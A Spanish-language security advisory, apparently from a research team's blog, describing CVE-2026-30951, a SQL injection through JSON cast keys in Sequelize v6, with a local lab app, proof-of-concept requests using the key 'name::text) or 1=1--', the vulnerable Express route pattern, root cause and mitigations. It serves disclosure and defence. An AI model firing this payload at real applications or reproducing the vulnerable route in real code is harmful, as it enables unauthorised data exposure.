Volver a actualizaciones
ActualizadaSep 2, 2026

CVE-2026-30951 — Actualizado!

Inyección SQL de JSON Cast en Sequelize

Compartir

CVE-2026-30951 Inyección SQL en el Cast de JSON de Sequelize

★ CVE-2026-30951 PoC de Inyección SQL en el ORM Sequelize ★

https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381

Descripción general

CVE-2026-30951 es una vulnerabilidad de Inyección SQL en Sequelize v6, un ORM de Node.js ampliamente utilizado.

La vulnerabilidad existe en el procesamiento de cláusulas where de JSON/JSONB. Cuando Sequelize analiza una clave de ruta JSON que contiene ::, el valor después de :: se trata como un tipo de cast SQL y se inserta en el SQL generado sin la validación adecuada.

Si un atacante puede controlar las claves de objetos JSON pasadas a una cláusula where de Sequelize, puede manipular la consulta SQL generada.

Versiones afectadas

CategoríaVersión
VulnerableSequelize v6.x <= 6.37.7
ParcheadaSequelize 6.37.8
No afectadaSequelize v7 / @sequelize/core

Impacto

  • Inyección SQL a través de claves de objetos JSON controladas por el atacante
  • Omisión de filtros de búsqueda mediante inyección basada en booleanos
  • Manipulación no intencionada de condiciones de consulta dentro del SQL generado por el ORM

Entorno

Este repositorio contiene una aplicación de desafío mínima vulnerable con Node.js, Express, Sequelize y SQLite.

Ejecución local

npm install
npm start

La aplicación se inicia en:

http://127.0.0.1:9100

Docker

docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln

El contenedor Docker se inicia en:

http://127.0.0.1:9100

PoC

Después de iniciar el entorno vulnerable, siga los pasos a continuación para reproducir la inyección.

Paso 1. Enviar una solicitud de búsqueda normal

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name": "emma"
  }
}

Esto devuelve solo los usuarios que coinciden con la lógica de búsqueda normal por nombre.

Paso 2. Desencadenar una inyección SQL basada en booleanos

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name::text) or 1=1--": "emma"
  }
}

Resultado esperado:

All user rows are returned.

Paso 3. Confirmar que ocurrió la inyección SQL

La clave JSON manipulada hace que Sequelize genere una expresión de cast similar a:

CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)

Debido a que el tipo de cast es controlado por el atacante, la condición OR 1=1 cambia el comportamiento previsto de la cláusula WHERE. Devolver todas las filas desde el mismo endpoint de búsqueda confirma que la inyección SQL es posible.

Análisis

Causa raíz técnica

La vulnerabilidad es causada por una validación insuficiente de los tipos de cast JSON en Sequelize v6.

Internamente, la lógica de recorrido JSON de Sequelize divide las claves de ruta JSON en :::

jsonKey::castType

El tipo de cast se utiliza luego en el SQL generado de la siguiente manera:

CAST(<json_extract_expression> AS <cast_type>)

En las versiones vulnerables, <cast_type> no se escapa de forma segura ni se restringe a una lista de permitidos conocida como segura. Esto permite que una clave JSON controlada por el atacante escape de la expresión de cast e inyecte SQL.

Patrón peligroso

Cualquier patrón de aplicación similar al siguiente puede ser vulnerable al usar versiones afectadas de Sequelize:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: {
      metadata: req.body.filter
    }
  });

  res.json(users);
});

Esto es peligroso porque el atacante controla no solo los valores JSON, sino también las claves de los objetos JSON.

Por qué esto importa

Esta vulnerabilidad es especialmente peligrosa porque muchos desarrolladores asumen que los constructores de consultas ORM protegen automáticamente contra la inyección SQL. En este caso, la inyección ocurre dentro del SQL generado por el ORM, después de que la aplicación ya ha pasado objetos JavaScript estructurados a Sequelize.

Dependiendo de la lógica de la aplicación, la explotación puede permitir:

  • omitir los filtros de búsqueda previstos
  • alterar las condiciones de consulta booleanas
  • cambiar el comportamiento del SQL generado por el ORM

Esto es fundamentalmente un problema de CWE-89: Neutralización incorrecta de elementos especiales utilizados en un comando SQL.

Escenario

+-------------------------------------------+
|                  Attacker                 |
+-------------------------------------------+
                      |
                      | Sends crafted JSON filter
                      | with malicious name:: key
                      v
+-------------------------------------------+
|        POST /api/users/search             |
+-------------------------------------------+
                      |
                      | Sequelize JSON where clause
                      | processes key containing ::
                      v
+-------------------------------------------+
|     Unescaped SQL cast type injection     |
+-------------------------------------------+
                      |
                      | Boolean condition manipulation
                      v
+-------------------------------------------+
|          SQL Injection Confirmed          |
+-------------------------------------------+

Mitigación

  • Actualizar Sequelize a 6.37.8 o posterior
  • No pasar objetos controlados por el usuario directamente a las cláusulas where de JSON/JSONB de Sequelize
  • Rechazar o normalizar las claves JSON controladas por el usuario antes de construir filtros ORM
  • Utilizar la construcción de filtros basada en listas blancas en lugar de aceptar objetos arbitrarios del cuerpo de la solicitud
  • Rechazar claves JSON que contengan sintaxis de control SQL o separadores de cast como :: a menos que se requieran explícitamente
  • Preferir campos de consulta definidos por el servidor, por ejemplo:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];

if (!allowedFilters.includes(req.body.field)) {
  throw new Error('Invalid filter field');
}

Descargo de responsabilidad

Este repositorio está destinado únicamente a la investigación de seguridad, la validación defensiva y el uso educativo en entornos controlados.

No utilice este PoC contra sistemas que no posea o para los que no tenga permiso explícito de prueba.

EQST Insight

Publicamos análisis de CVE y malware una vez al mes. Si está interesado, siga los enlaces a continuación para consultar nuestras publicaciones.

Referencias

Categorías